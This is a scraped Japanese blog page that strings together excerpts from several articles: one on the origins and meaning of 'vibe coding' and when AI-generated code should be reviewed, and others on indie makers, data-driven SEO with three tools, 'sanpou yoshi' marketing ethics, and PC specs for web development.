つまり原義は「感覚的な言葉で指示すること」ではありません。差分を読まず、常にAccept Allを押すこと。それ自体がvibe codingです。そして原文には最初から「捨ててよい週末プロジェクトなら（throwaway weekend projects）」という適用範囲の但し書きが入っています。この但し書きが、後述する4ゲートの出発点になります。 辞書の定義 — Collinsが2025年の言葉に選んだときの意味 Collins Dictionaryは2025年11月6日、Word of the Year 2025にvibe codingを選出しました。Collins公式ブログに載った定義は次のとおりです（2026年8月2日確認）。 the use of artificial intelligence prompted by natural language to write computer code （訳）自然言語で促された人工知能を使ってコンピュータのコードを書くこと。 差分を読むかどうかには一切触れていません。原義より明らかに広く、ほぼ「AIにコードを書かせること」全般を指す定義になっています。同じ年のショートリストにはaura farming、taskmasking、broligarchy、biohacking、HENRY、micro-retirements、coolcations、glaze、clankerが並んでいました。辞書が言葉を採録するときは、提唱者の意図ではなく実際の使われ方を写し取ります。この時点で、原義とのずれは確定していたことになります。 実証研究が観測した「現場のvibe coding」 研究側も追いついています。前掲のSarkar & Drososの論文（arXiv:2506.23253、2025年6月29日投稿）は、約8.5時間のvibe codingセッション動画を分析した実証研究です。結論部分から引用します（2026年8月2日確認）。 vibe coding does not eliminate the need for programming expertise but rather redistributes it toward context management, rapid code evaluation, and decisions about when to transition between AI-driven and manual manipulation of code. （訳）vibe codingはプログラミングの専門知識を不要にするのではなく、文脈管理・コードの高速な評価・AI主導と手作業をいつ切り替えるかの判断へと、その知識を再配分する。 同じ論文は、AIへの信頼は「一括受け入れ（blanket acceptance）ではなく反復的な検証を通じて」築かれるとも書いています。つまり原義の「全部Accept」は、観測された現場の実態とは一致していません。それでも語だけは残り、Collinsの広い定義とともに定着した、というのがいまの状況です。 3つの定義を1枚で見る 層誰の定義か中身差分を読むか原義提唱者のX投稿（2025-02-02）差分を読まず常にAccept All。コードの存在を忘れる読まない辞書Collins Word of the Year 2025（2025-11-06）自然言語で促されたAIによるコード記述言及なし現場実証研究の観測（arXiv:2506.23253）指示→高速評価→手作業の往復。信頼は反復検証で築く読む（ただし全行ではない） 「vibe codingをやっています」と言う人が3つのどれを指しているかは、この表のどの行かを聞けば1回で確定します。 提唱者本人が1年後に書いたこと 提唱者自身も、2026年2月4日の投稿でこの語を振り返っています。X公式oEmbedで確認できた冒頭は次のとおりです（2026年8月2日確認）。 A lot of people quote tweeted this as 1 year anniversary of vibe coding. Some retrospective - I've had a Twitter account for 17 years now (omg) and I still can't predict my tweet engagement basically at all. This was a shower of thoughts throwaway tweet that I just fired off （訳）多くの人がvibe codingの1周年としてこれを引用した。少し振り返ると——Twitterのアカウントを持って17年になるが、いまだに自分のツイートの反応をほとんど予測できない。これは思いつきを垂れ流しただけの、放り投げたツイートだった。 この投稿も280字を超える部分は逐語で取得できなかったため、本記事は続きの内容には踏み込みません。ここで確認できるのは、提唱者本人が原典を「思いつきの放り投げ」と位置づけているという一点です。用語の定義を提唱者の言葉だけに求めるのは、もともと無理があるということでもあります。だからこそ、定義の議論ではなく適用範囲の判定に話を移します。 「読まずに受け入れてよい」場面と、そうでない場面 原義のvibe codingを、そのまま業務のコードに適用するのは危険です。しかし逆に「全部読め」と言ってしまえば、それはもうvibe codingではありません。やるかやらないかではなく、どこで線を引くかが実務上の問題です。 線引きの起点は、原文にすでに書かれていました。throwaway weekend projects（捨ててよい週末プロジェクト）。第一の判定軸は「そのコードを捨てるかどうか」です。ここから実務向けに4つの条件へ展開します。 判断を分ける4つの条件 条件Yesのとき具体例そのコードを今日中に捨てるか読まずに受け入れてよいアイデア検証用の使い捨てプロトタイプ、動作確認のためだけの再現コードAPIキー・個人情報など秘密情報に触れるか差分を読む外部APIを叩く、DBに接続する、フォーム入力を保存する自分以外の誰かが保守するか差分を読むチームのリポジトリ、納品物、公開ライブラリインターネットに公開されるか差分を読む本番サイト、公開API、配布するスクリプト 1つ目がYesなら、原義のvibe codingをそのまま使って問題ありません。1つ目がNoで、2〜4のどれか1つでもYesなら、そのコードは「読まずに受け入れる」対象から外れます。 ただし「差分を読む」と言われても、何をどう見れば合格なのかが分からないと手が止まります。次章以降の4ゲートは、その「読み方」を機械が判定できる部分と、人間にしか判定できない部分に分解したものです。 vibe coding を実際にやってみる（最小手順） ここでは特定のツールに依存しない最小手順を示します。製品名は1年で変わりますが、この3手順は変わりません。 手順1 — 捨ててよい場所を用意する 失っても困らない空のディレクトリを作り、Git管理下に置きます。Gitに入れる理由は2つ。あとで差分を見るためと、まずかったら丸ごと捨てるためです。 ### [インディーメーカーとは？個人でプロダクトを作る新しい働き方](https://codequest.work/indie-maker/) インディーメーカーとは？ 「インディーメーカー」という言葉を聞いたことはありますか？ 大企業や投資家に頼らず、個人でプロダクトを作って販売する人のことをそう呼びます。音楽でいうインディーズバンドのようなイメージです。 海外のスタートアップ界隈では一般的な言葉ですが、日本ではまだあまり知られていません。 英語では「Indie Maker」や「Solopreneur（ソロプレナー）」とも呼ばれ、Product Huntなどのプラットフォームを中心に世界中でコミュニティが形成されています。 私が作ったツール 開発のきっかけはシンプルな課題感でした。 「構造化データをちゃんと診断できるSEOツールがない」 既存ツールだと、複数のツールを切り替えなければいけない・・・面倒だ・・・。ならば自分で作ってしまおう——それが今取り組んでいる「CodeQuest SEO Checker」の出発点です。 URLを入力するだけで、構造化データ・メタタグ・Core Web Vitalsなど45項目以上を診断できるSEO分析ツールです。 ▶ CodeQuest SEO Checker を試してみる インディーメーカーに必要なスキルセット インディーメーカーは孤独な仕事です。開発・デザイン・マーケティング・営業、すべてひとりで担います。 しかし、HTMLやCSS、JavaScriptを学んできた人にとって、これは脅威ではなく強みになります。 役割必要なスキル開発HTML / CSS / JavaScript / PHP / WordPressデザインUI設計・配色・レイアウトマーケティングSEO・SNS・コンテンツ制作営業自己発信・LP制作・問い合わせ対応 CodeQuestで学ぶスキルは、そのままインディーメーカーの武器になります。 三方良しの視点で作るプロダクト 私が大切にしている考え方に、三方良し（さんぽうよし）があります。 江戸時代の近江商人が実践した商売の哲学で、「売り手良し・買い手良し・世間良し」——売る側・買う側・社会の三者がすべて幸せになる商売こそ本物だという考え方です。 インディーメーカーとして作るプロダクトも、この視点で設計しています。 売り手（自分）良し：自分が本当に欲しかったツールを作る 買い手（ユーザー）良し：現場の課題を解決する実用的な機能 世間良し：Web業界全体のリテラシーを底上げする Webスキルを「資産」に変える時代 Web制作を学ぶ多くの人は、まず「案件を取る」ことを目標にします。もちろんそれは重要なステップです。 しかし、スキルが一定以上になると、次のステージが見えてきます。 案件をこなす → 自分のプロダクトを作る これがインディーメーカーという生き方の本質です。 クライアントワークは「時間を売る仕事」。プロダクトは「仕組みを作る仕事」。同じスキルを持っていても、向かう方向が変わるだけで、収入の構造が根本的に変わります。 たとえば自作アプリをApp Storeで販売する個人開発者なら、Apple Small Business Programで手数料を15%に下げた申請・承認の体験談が、収益を仕組み化する具体例として参考になります。 まだ始まったばかり CodeQuest SEO Checkerはまだ始まったばかりです。これからどう育っていくか、このブログでも発信していきます。 Webスキルをただの「仕事道具」で終わらせるのではなく、自分の世界を作るための手段として使いたい——そう考えている人に、インディーメーカーという選択肢が届けば嬉しいです。 ▶ CodeQuest SEO Checker を試してみる この記事のまとめ インディーメーカーとは、個人でプロダクトを作って販売する人のこと 大企業や投資家に頼らず、自分のペースで作れるのが最大の特徴 HTML・CSS・JavaScript などのWebスキルはそのまま武器になる 案件をこなすだけでなく「自分のプロダクトを持つ」という選択肢がある 三方良しの視点で、売り手・買い手・社会すべてに価値を届けることが理想 よくある質問（FAQ） Q. インディーメーカーとは何ですか？ インディーメーカーとは、企業に属さず個人でプロダクト（Webサービス・アプリ・ツールなど）を企画・開発・運営する人を指します。特にSaaS型の小規模プロダクトを一人または少人数で開発し、サブスクリプション収益で生計を立てるスタイルが代表的です。海外ではIndie Hackerとも呼ばれ、Product HuntやIndie Hackersコミュニティで活発に情報交換が行われています。 Q. フリーランスとインディーメーカーの違いは何ですか？ フリーランスはクライアントから仕事を受注して報酬を得るモデルです。インディーメーカーは自分でプロダクトを作り、ユーザーに直接価値を届けるモデルです。両者を掛け持ちすることも一般的です。 Q. インディーメーカーになるには何から始めればいいですか？ まず「自分が困っていること」を書き出すことから始めましょう。最高のプロダクトは、自分自身が感じたリアルな課題から生まれます。スキルよりも先に「何を作るか」を決めることが重要です。 Q. プログラミングができなくてもインディーメーカーになれますか？ ノーコードツール（Bubble、Glideなど）を使えば、本格的なコーディングなしでもWebアプリを作ることは可能です。ただし、HTMLやCSSの基礎知識があるほうが、デザインの自由度とスピードが格段に上がります。 Q. インディーメーカーになるために必要なスキルは？ プログラミング（フロントエンド＋バックエンド）、UI/UXデザインの基礎、マーケティング（SEO・SNS運用・ランディングページ作成）の3領域が必要です。すべてを高いレベルで習得する必要はなく、開発はフレームワーク（Next.js・Railsなど）やノーコードツールで効率化し、デザインはテンプレートを活用するなど、個人でも回せる仕組みを作ることが重要です。 Q. インディーメーカーの収入源にはどんなものがありますか？ 主な収入源はSaaSの月額課金、デジタルプロダクト（テンプレート・教材・ツール）の販売、広告収入、アフィリエイトです。成功しているインディーメーカーの多くは月額課金型のWebサービスを複数運営し、MRR（月間経常収益）を積み上げています。最初は小さなツールや有料テンプレートの販売から始め、ユーザーの反応を見ながらプロダクトを改善していくアプローチが一般的です。 👉 個人開発のプロダクトが軌道に乗ってきたら、次は運用のAI分業です。「AI組織」は組織図から作ると失敗する｜1人会社をAI会社化する正しい順序で、組織化のタイミングと委譲の判断基準を解説しています。 ### [データドリブンSEOで改善PDCAを回す｜無料ツール3つの実践ガイド](https://codequest.work/seo-pdca-3tools/) データドリブンSEOとは、検索データを根拠にして「キーワード選定 → ページ最適化 → 効果測定」の3フェーズを繰り返し、勘や経験ではなく数値で次の一手を決めるSEO改善の進め方です。この3フェーズは、Googleキーワードプランナー・Direbase（ディレベース）・Google Search Consoleの3つのツールでそのまま担当を分けられます。 「SEO対策をしたいけれど何から始めればいいかわからない」「とりあえず記事を書いているが、これで合っているのか確かめる方法がない」——この状態が続く原因はツールの数ではなく、1周回し終えたかどうかを判定する基準がないことです。基準がないと、スコアが上がっても順位が動かないときに「次に何をすればいいか」が決まりません。 この記事では、3つのツールの具体的な操作手順に加えて、多くの解説記事が省いている「PDCAを1周回せたかを画面上の数字だけで判定する合否ライン」まで示します。プラン別の上限や無料枠の条件など、記事内の数値はすべて出典を添えました。 SEO全体の体系を先に把握したい場合はSEO対策ガイド【基礎からAI検索・診断ツールまで】を、表示回数やCTRといった指標の意味から確認したい場合はSEO指標の基礎を先に読んでください。 データドリブンSEOとは｜「選ぶ・直す・測る」に分解して数値で判断する データドリブンとは、経験や勘ではなく実際のデータをもとに意思決定するアプローチのことです。SEOに当てはめると、「どのキーワードを狙うか」を検索ボリュームで、「どこを直すか」を診断結果で、「効果が出たか」を検索パフォーマンスで判断することを指します。 重要なのは、SEO改善という大きな作業を「選ぶ・直す・測る」の3つに分解することです。分解すると、それぞれのフェーズで見る数字と、そのフェーズを終えてよい条件がはっきりします。逆に分解しないままだと、「なんとなく記事を増やす」「なんとなく内部対策をする」という経験則ベースの作業に戻ってしまいます。 従来のSEOとの違いは「判定基準を先に決めるか」 従来のSEOでも数値は見ます。違いは見る順番です。データドリブンSEOでは、作業を始める前に「この数字がこうなったら次へ進む」という判定基準を決めておきます。基準を先に決めておくと、成果が出なかったときに「施策が悪かったのか」「まだ測る時期ではないのか」を切り分けられます。 この記事の後半にある「PDCAを1周回せたかを判定する」の章が、その判定基準にあたります。手順だけ知りたい場合も、最後にその章だけは目を通してください。 ロングテールキーワードから始める理由 ロングテールキーワードとは、複数の単語を組み合わせた具体的な検索キーワードのことです。「靴」というビッグキーワードに対して、「レディース ランニングシューズ 初心者 おすすめ」のような語がこれにあたります。検索ボリュームは小さくなりますが、検索意図が明確なぶん、書くべき内容が決まりやすく、公開後に「どのクエリで表示されたか」も読み取りやすくなります。 データドリブンで回す最初の1周には、結果が読み取りやすい題材のほうが向いています。ビッグキーワードは変数が多すぎて、順位が動かなかった理由を特定できません。 SEO改善の3つのフェーズと対応ツール 3つのフェーズと、それぞれで使うツール・見る数字・費用を1枚にまとめます。 フェーズやること使うツール見る数字費用と条件① キーワード選定需要と競合度を調べて狙う語を決めるGoogleキーワードプランナー月間平均検索ボリューム／競合性Google広告アカウントの作成に加え、お支払い情報の入力とアカウント設定の完了が必要② ページ最適化公開前にページの技術要素を点検するDirebase（ディレベース）SEOスコア／未対応の診断項目登録不要で累計3回。無料アカウント登録で毎月3回にリセット③ 効果測定公開後の検索パフォーマンスを測るGoogle Search Console表示回数／クリック数／CTR／掲載順位無料。サイトの所有権確認が必要 この表で最初につまずきやすいのは①です。キーワードプランナーは「無料ツール」と紹介されることが多いのですが、Google広告のヘルプには「『新しいキーワードの候補を取得する』などの基本機能を利用するには、お支払い情報を入力して、アカウント設定を完了する必要があります」と明記されています（出典: Google 広告ヘルプ「キーワード プランナーを使う」）。アカウントを作っただけでは候補が出ないので、先に把握しておいてください。 ②のポジションに入るツールは他にもあります。診断ツールを比較してから選びたい場合はSEOチェックツールの比較を参照してください。この記事では、日本語ページの構造化データまで見る用途でDirebaseを使います。 3ツールの具体的な使い方（実践ワークフロー） ここからは、3つのフェーズを順に操作していきます。1周目は1ページ・1キーワードに絞ってください。同時に複数ページを触ると、どの変更が効いたのか判定できなくなります。 ステップ1:Googleキーワードプランナーで狙うキーワードを決める Googleキーワードプランナーは、Google広告が提供するキーワードリサーチツールです。本来は広告出稿のためのツールですが、検索ボリュームと競合性を確認できるため、SEOのキーワード選定にもそのまま使えます。 Googleキーワードプランナーを開く 準備:アカウント作成とお支払い情報の入力 キーワードプランナーを使うにはGoogle広告アカウントが必要です。ここで多くの人が止まるのが、アカウントを作っただけでは候補が表示されない点です。前掲のGoogle広告ヘルプのとおり、基本機能を使うにはお支払い情報を入力してアカウント設定を完了する必要があります。 なお公式ヘルプが求めているのは「お支払い情報の入力とアカウント設定の完了」であり、広告の配信そのものを必須とする記載はありません。キャンペーンを作成した場合でも、配信を開始しない状態にしておけます。 また、「広告を配信していないアカウントでは検索ボリュームが範囲でしか表示されない」という説明が広く流通していますが、この挙動についてGoogleの公式ヘルプに記載は確認できませんでした。範囲表示になるかどうかは、実際に自分の画面で確かめる前提で進めてください。SEOのキーワード選定に限れば、範囲表示でも「どの語がどの桁か」がわかれば判断はできます。 操作手順 Google広告アカウントにログインし、「ツールと設定」→「キーワードプランナー」を開く 「新しいキーワードを見つける」を選択する 調査したい語を入力する（例:「Webマーケティング」） 結果画面で指標を確認し、狙う語を1つ決める 結果画面で見るのは次の3つです。 月間平均検索ボリューム — その語が月に何回検索されているか 競合性 — 広告出稿の競合度（低・中・高）。SEOの難易度そのものではないが、商用意図の強さの目安になる 関連キーワード — 併せて表示される候補語。ここから絞り込むほど検索意図が明確になる キーワード選定のポイント 1周目に選ぶべきは、検索ボリュームが一定数あり、かつ競合性が低い語です。ボリュームが大きい語は、順位が動かなかった理由を特定できないため最初の題材に向きません。 判断語の形理由1周目に向く3〜4語の組み合わせ（例:「Webマーケティング 初心者 本」）検索意図が絞れていて、書くべき内容と測る対象が一致する1周目には向かない1語のビッグキーワード（例:「Webマーケティング」）競合が強く、順位が動かなかった原因を切り分けられない ステップ2:Direbaseでページの最適化状態を診断する キーワードが決まり、記事を書いたら、公開前に技術的なSEO要素が実装されているかを点検します。Direbase（ディレベース）は、URLを入力すると4カテゴリ・45項目以上を自動診断し、スコアと改善アドバイスを返す日本語対応のSEO診断ツールです（出典: Direbase 公式サイト）。 Direbaseで無料診断する 無料枠とプラン別の上限 無料で使える範囲には条件があります。登録不要で使えるのは累計3回で、月ごとにリセットされるわけではありません。毎月3回にリセットされるのは、無料アカウントを登録した場合です。また、SEOスコアは4カテゴリ合計100点満点で設計されていますが、到達できる上限はプランによって変わります。 プラン月額チェック回数改善コード生成SEOスコアの上限お試し（無料）¥0登録不要で累計3回／無料登録で毎月3回上位1項目83点エントリー¥980/月月30回上位2項目92点ベーシック¥2,980/月月100回全項目94点プロ¥9,800/月月300回全項目100点 出典: Direbase 料金プラン（2026年8月1日確認）。つまり無料プランのまま100点を目指すことはできません。無料の範囲でも、改善コードの自動生成は上位1項目まで使えます。この点は後述の「スコアを見るときの注意」に直結します。 操作手順 Direbaseを開く 診断したいページのURLを入力する 「チェック開始」をクリックする（数秒〜数十秒で完了） 結果画面でスコアと未対応項目を確認し、優先度の高いものから直す 診断項目の優先度と判断基準 診断結果は項目数が多いので、優先度の高いものから片づけます。ここで注意したいのは、診断ツールが示す基準と、Googleが公式に定めている基準は別物だという点です。 優先度項目合格の判断基準高titleタグページごとに固有で、狙うキーワードが前方にある高meta descriptionページごとに固有の要約が入っている高h1タグ1ページに1つ、ページの内容を表している高モバイル対応スマートフォンで表示崩れがない中構造化データページ種別に合ったJSON-LDが出力され、必須プロパティが埋まっている中OGPタグSNSシェア時にタイトル・説明・画像が意図どおり出る中画像のalt属性装飾以外の画像に内容を表す代替テキストがある中ページ表示速度Core Web Vitalsが「不良」でない低canonicalタグ正規URLが1つに定まっている低robots.txt意図しないディレクトリをブロックしていない 「titleは32文字以内」「meta descriptionは120〜160文字」といった数字を目にしますが、これらはGoogleが定めた基準ではありません。Google検索セントラルは「メタ ディスクリプションの長さに制限はありません。ただし Google の検索結果では、スニペットは必要に応じて切り詰められます（デバイスの幅に合わせる場合など）」と説明しています（出典: Google 検索セントラル「検索結果のスニペットを管理する」）。タイトルリンクのドキュメントにも文字数の規定はありません。 つまり文字数は「切り詰められても意味が通るように前方へ情報を置く」ための目安にすぎません。書き方の詳細はmeta descriptionの書き方に、見出しの組み立て方は見出しタグとSEOの関係にまとめています。 ドメインパワーの確認も同時に Direbaseでは診断と同時にドメインパワースコアも表示されます。ドメインパワーとは、サイトのドメイン全体が検索エンジンからどの程度信頼されているかを数値化した指標です。Googleの公式ランキング指標ではありませんが、上位表示サイトとの相関が高く、施策の方向性を判断する参考値として使えます。 自サイトのドメインパワーが低い段階では、競合性の高い語を正面から狙っても順位が付きません。1周目にロングテールを選ぶ理由はここにもあります。 ### [AKIHIRO_HIGASA / フロントエンドエンジニア](https://codequest.work/akihiro_higasa/) 30代から独学でWeb制作を始め、現在は会社員として働きながらフリーランスのフロントエンドエンジニアとして活動。企業サイトの制作・運用を中心に、デザインからコーディング、SEO対策まで一貫して対応できる幅広いスキルを持つ。 WordPressでの構築実績が豊富で、パフォーマンス改善にも強い。HTML/CSS、JavaScript、GSAP、Figmaなど多様な技術を駆使し、ユーザー体験を重視したWebサイトを提供。 住設会社や農産物販売サイトなど、地域企業のデジタル化を支援している。 PORTFOLIO ### [WEBマーケティングの本質は三方良し｜江戸時代から続く普遍的原則と実践法](https://codequest.work/web-marketing-sanpouyoshi/) 三方良しとは、施策を打つ前に「やらない」を決める判断基準である 三方良しとは、売り手・買い手・世間の三者すべてに利益が残る取引だけを成立させるという商売の考え方です。WEBマーケティングにおいては、新しい手法を足すための理念ではなく、これから打つ施策を実行してよいかどうかを着手前に判定するフィルターとして使えます。 SEO、SNS運用、広告運用、コンテンツマーケティング。WEBマーケティングの世界には手法が溢れていて、常に「まだやっていないこと」が視界に入ります。しかし限られた時間で成果を出すために効くのは、新しい手法を1つ増やすことよりも、打たない施策を先に決めることです。 この記事は精神論では終わりません。記事の中盤にある「いま三方の誰が損をしているかを手元の数字で特定する」で、売上・原価・作業時間・手戻り件数といった手元の数字だけを使って、いま三方の誰が損をしているかを特定する手順を置いています。さらにその後段で、続けている施策が資産なのか出費なのかを1か月で見分ける検証手順と、その合否ラインを示します。 もう1つ、この記事には方針があります。「Googleがこう評価する」という言い方をするときは、必ずGoogleの公式ドキュメントを出典として示します。逆に、公式に記載が見つからなかったものは「根拠にできない数字」として、終盤の「効果は何で測るか」にまとめました。よく指標として挙げられる直帰率・平均滞在時間・ドメインオーソリティは、そちら側に置いています。 江戸時代の商人が知っていた成功法則「三方良し」 三方良しとは何か 「三方良し」とは、近江商人（現在の滋賀県出身の商人）が大切にしていた商売の理念です。 売り手良し：商人自身が適正な利益を得られること 買い手良し：顧客が本当に価値あるものを手に入れられること 世間良し：取引が社会全体にとっても良い影響を与えること この3つすべてが満たされて初めて、商売は長く続くという考え方です。短期的に儲けることは誰にでもできます。しかし長期的に信頼され、繁栄し続けるためには、三方すべてが良い状態でなければなりません。 ここで注目したいのは、三方良しが「良いことをしましょう」という道徳ではなく、取引を成立させてよいかどうかの条件として語られている点です。条件である以上、満たしているかどうかを外から確認できます。この記事が扱うのは、その確認の仕方です。 なお、三方の重なる一点を実際に見つけられるかどうかは、思考の使い方に左右されます。答えを絞り込むロジカルシンキングと、前提を疑うラテラルシンキングをどう行き来するかは、ロジカルシンキングとラテラルシンキング｜三方良しを設計できる思考バランスで解説しています。 なぜ今この原則が重要なのか 現代のWEBマーケティングには、三方のどれかを削って成立させる手法が数多くあります。誇大な表現で注目を集める。中身の薄い記事を大量に並べてアクセスを稼ぐ。報酬額の高い商品を、自分が良いと思うかどうかに関係なく勧める。いずれも短期的には数字が出ることがあります。 ただし、削った側からの反動が「必ず」「いつも同じ形で」返ってくると断言できる材料は、筆者の手元にはありません。断言できるのは、一部の手法はすでに法規制の対象になっているという事実のほうです。広告であることを隠して宣伝するステルスマーケティングは、2023年10月1日から景品表示法の規制対象になりました。消費者庁が「一般消費者が事業者の表示であることを判別することが困難である表示」を告示で指定しています。 出典：消費者庁 令和5年10月1日からステルスマーケティングは景品表示法違反となります。（2026年8月2日取得） 一方で、現代の経営の文脈ではESG（環境・社会・ガバナンス）やSDGs（持続可能な開発目標）が語られるようになりました。三方良しとこれらが「本質的に同じもの」かどうかは立場によって評価が分かれますが、自社の利益の外側に判断材料を置くという点では重なります。この記事で使うのは、その重なる部分だけです。 WEBにおける三方良しの再解釈 三方良しをWEBに持ち込むとき、いちばん危ないのは「売り手・買い手・世間」を気分で読み替えてしまうことです。読み替えの中身をここで固定します。 売り手良し：止めた後も残るものを作っているか WEBにおける売り手良しとは、手を止めた後も残るものを作っているかです。 有料広告は仕組み上、出稿を止めれば配信も止まります。これは良し悪しの話ではなく定義の話です。だから広告は「今月の売上を作る手段」としては強く、「来年も効いている資産」としては弱い。一方、記事やツールは公開したまま残るので、検索結果に出続けているあいだは追加の出費なしに流入が入ります。 ここで書きすぎないように注意が要ります。「記事を積み上げればサイト全体の価値が上がる」という言い方をよく見かけますが、サイト全体の価値を表すスコアはGoogleの公式ドキュメントには存在しません。積み上がるのはあくまでページ単位の実績です。この点は後述の「効果は何で測るか」で出典とともに扱います。 もう1つ、信用の毀損を避けることも売り手良しに含めます。ただし「信用の回復には失うより何倍もの時間がかかる」といった倍率は、筆者が測ったものではないので書きません。書けるのは、取り返しの手順が存在しない種類の失敗を避けるという判断だけです。 買い手良し：読者が別のページで検索し直さずに済むか 買い手良しは「良いコンテンツを作る」と言い換えても何も決まりません。判定できる形に落とす必要があります。この記事では、Googleが公開している自己点検の質問をそのまま判定式として使います。 Does your content leave readers feeling like they need to search again to get better information from other sources?（あなたのコンテンツは、読者が他の情報源からより良い情報を得るために、もう一度検索し直さなければならないと感じさせていませんか） 出典：Google 検索セントラル Creating helpful, reliable, people-first content（英語版・2026年8月2日取得。日本語版は訳のゆれがあるため英語版を正としています） この質問が優れているのは、書き手の努力量ではなく読者の行動で判定している点です。ページを閉じた読者が同じ検索語でもう一度検索し直すなら、そのページは買い手良しを満たしていません。文章がどれだけ丁寧でも、図がどれだけ多くても関係ありません。 世間良し：この記事では「検索の向こう側にいる利用者」と定義する WEBにおける「世間」は誰か。ここは事実ではなく定義の問題なので、この記事の立場として明示します。この記事では、世間を「検索の向こう側にいる利用者全体」と定義し、その利用者に届くかどうかの窓口として検索エンジンを見ます。 「世間＝Google」と短く書いてしまうと、Googleに評価されることと社会に貢献することが同じ意味であるかのように読めます。それは言い過ぎです。Googleが公開しているのは、検索結果が検索語に対して適切かどうかを評価するために、集約され匿名化された相互作用データを使っているという説明までです。 We also use aggregated and anonymized interaction data to assess whether search results are relevant to queries.（当社は、検索結果が検索語に関連しているかを評価するために、集約され匿名化された相互作用データも使用しています） 出典：Google How Search Works／Ranking results（2026年8月2日取得） したがってこの記事では、Googleに評価されることと世間に貢献することを同義とは書きません。書けるのは方向が揃っているということまでです。利用者にとって役に立つものを作れば、検索経由で届く確率が上がる。それ以上でもそれ以下でもありません。 世間良しにはもう1つ、自分が関わる業界そのものへの影響も含めます。誰が何を担当するのかという役割分担の話は、経営・営業・マーケティングの役割分担で別に整理しています。 施策を打つ前に落とす3つの質問 新しい施策を思いついたら、着手する前に次の3つを確認します。重要なのは、合格の条件ではなく不合格の条件を先に書いておくことです。合格条件から書くと、どんな施策でも理由を後付けできてしまいます。 3つのうち1つでも欠けたら実行しない。合格ではなく不合格の条件で止めるのがこの判定の要点です。 三方打つ前に確認する問い不合格にする条件売り手手を止めた後も残るか。かけた時間に見合うか止めた翌月に効果がゼロに戻る見込みしかない買い手読んだ人が、別のページで検索し直さずに済むか期待させる要素がタイトルにしかない世間Google 検索の基本事項とスパムに関するポリシーに反していないか検索順位の操作が主な目的になっている 3行目の名称に注意してください。サイトを運営する側が沿うべき文書は Google 検索の基本事項（旧ウェブマスター向けガイドライン） と Google のウェブ検索スパムポリシー の2つです（いずれも2026年8月2日取得）。 よく引き合いに出される「検索品質評価ガイドライン」は評価者に向けた別の文書で、自己点検の参考にはなってもランキングの規則ではありません。Google自身が次のように書いています。 Search raters have no control over how pages rank. Rater data is not used directly in our ranking algorithms.（検索の評価者はページの順位を左右しません。評価者のデータがランキングアルゴリズムに直接使われることはありません） 出典：Google 検索セントラル Creating helpful, reliable, people-first content（2026年8月2日取得）。同じ趣旨はGoogleの How Search Works／Rigorous testing にも「These ratings do not directly impact ranking」として記載されています。 そして運用ルールとして、3つのうち1つでも不合格の条件に当たったら、その施策は実行しません。これはこの記事の運営者が自分に課しているルールであって、Googleが決めた基準ではありません。ただ、迷った時に例外を作りはじめると判定そのものが機能しなくなるので、線は最初から固くしています。 【判定】いま三方の誰が損をしているかを手元の数字で特定する ここからが実作業です。三方良しは判定基準なので、いま自分の商売で三方の誰が損をしているのかが分かっていなければ、そもそも判定の使いどころが分かりません。所要は30分ほど、必要なのは会計ソフトとカレンダーとメールの検索窓だけです。 やることは在庫の棚卸しではありません。収支を見ます。誰が持ち出しになっているかを金額と件数で出します。 用意する数字（直近3か月ぶん） 三方使う数字どこから取るか売り手売上・原価・自分の投下時間会計ソフトと自分のカレンダー買い手無償の手直し・再納品・クレームの件数と、総案件数メールとチャットの検索世間紹介とリピートによる受注数と、総受注数受注経路のメモ 投下時間は正確でなくて構いません。カレンダーに残っている打ち合わせと作業ブロックを足して、記録がない日は自己申告で埋めます。ここで完璧を目指すと着手できなくなります。 ### [Web制作に必要なパソコンスペックの選び方【2026年版】現役エンジニアが用途別に解説](https://codequest.work/recommended-laptops-for-web-developers/) 「Web制作を始めたいけど、どのくらいのスペックのパソコンを買えばいいかわからない」 「おすすめPCの記事を読んでも、結局どれが自分に合うのか判断できない」 パソコン選びで本当に大切なのは、「何をするか」から逆算してスペックを決めることです。おすすめの機種は毎年変わりますが、スペックの判断基準を知っておけば、いつ買っても失敗しません。 この記事では、20年以上Web制作に携わってきた筆者が、用途別に必要なスペックを具体的に解説します。「自分にはどのレベルのPCが必要か」を読み終わる頃にはハッキリ判断できるようになっています。 Macbookランキング パソコンスペックの基礎知識｜まず知っておきたい4つのパーツ パソコンの性能を決める主要パーツは4つあります。すでにご存知の方は読み飛ばしてOKです。 CPU（プロセッサ）｜パソコンの「頭脳」 CPUはすべての処理を担当するパーツで、パソコンの処理速度を左右します。Web制作においてはコードのビルド（コードを実行可能な形に変換する処理）やデザインソフトの動作速度に直結します。 代表的なCPUブランドは以下の3つです。 Intel Core シリーズ（i3 / i5 / i7 / i9）：数字が大きいほど高性能。世代（第12世代、第13世代など）も重要で、同じi5でも新しい世代のほうが性能が高い AMD Ryzen シリーズ（Ryzen 3 / 5 / 7 / 9）：Intelと同等の性能帯。コスパに優れたモデルが多い Apple M シリーズ（M1 / M2 / M3 / M4）：Mac専用チップ。省電力ながら高い処理性能を持つ メモリ（RAM）｜作業台の広さ メモリは「同時に開ける作業の量」を決めるパーツです。ブラウザのタブを何十枚も開きながらVSCodeとFigmaを同時に使う、といった場面でメモリ不足だとパソコンが重くなります。 Web制作では最低8GB、推奨16GB以上が目安です。 ストレージ（SSD / HDD）｜データの保管庫 ストレージはファイルを保存する場所です。必ずSSDを選んでください。HDDと比較してデータの読み書き速度が数倍〜数十倍速く、パソコンの起動やファイルの読み込みが圧倒的に快適になります。 容量は256GB以上が最低ライン。デザインデータを多く扱う場合は512GB〜1TBあると安心です。 GPU（グラフィックボード）｜映像処理の専門家 GPUは画像や映像の処理を専門に行うパーツです。Web制作だけなら、CPUに内蔵されたGPUで十分です。 独立GPU（NVIDIA GeForceやAMD Radeonなど）が必要になるのは、3Dグラフィック制作や高解像度の動画編集を行う場合です。Webデザインや通常のコーディングでは不要なので、無理に搭載モデルを選ぶ必要はありません。 用途別スペック早見表｜あなたに必要なのはどのレベル？ Web制作といっても、やることによって必要なスペックは大きく変わります。以下の3段階で考えると選びやすくなります。 学習・入門実務・開発デザイン・クリエイティブこんな人HTML/CSSの学習を始めたい、プログラミングスクールの受講を検討中JavaScript/React/Next.jsで開発、Docker使用、複数プロジェクト並行Photoshop/Illustrator/Figmaでデザイン、高品質な色再現が必要CPUCore i5（第10世代〜）/ Ryzen 5 / M1以上Core i7（第12世代〜）/ Ryzen 7 / M2以上Core i7以上 / M2 Pro〜M3 Pro以上メモリ8GB（できれば16GB）16GB以上（Docker使用なら必須）16〜32GBストレージSSD 256GB以上SSD 512GB以上SSD 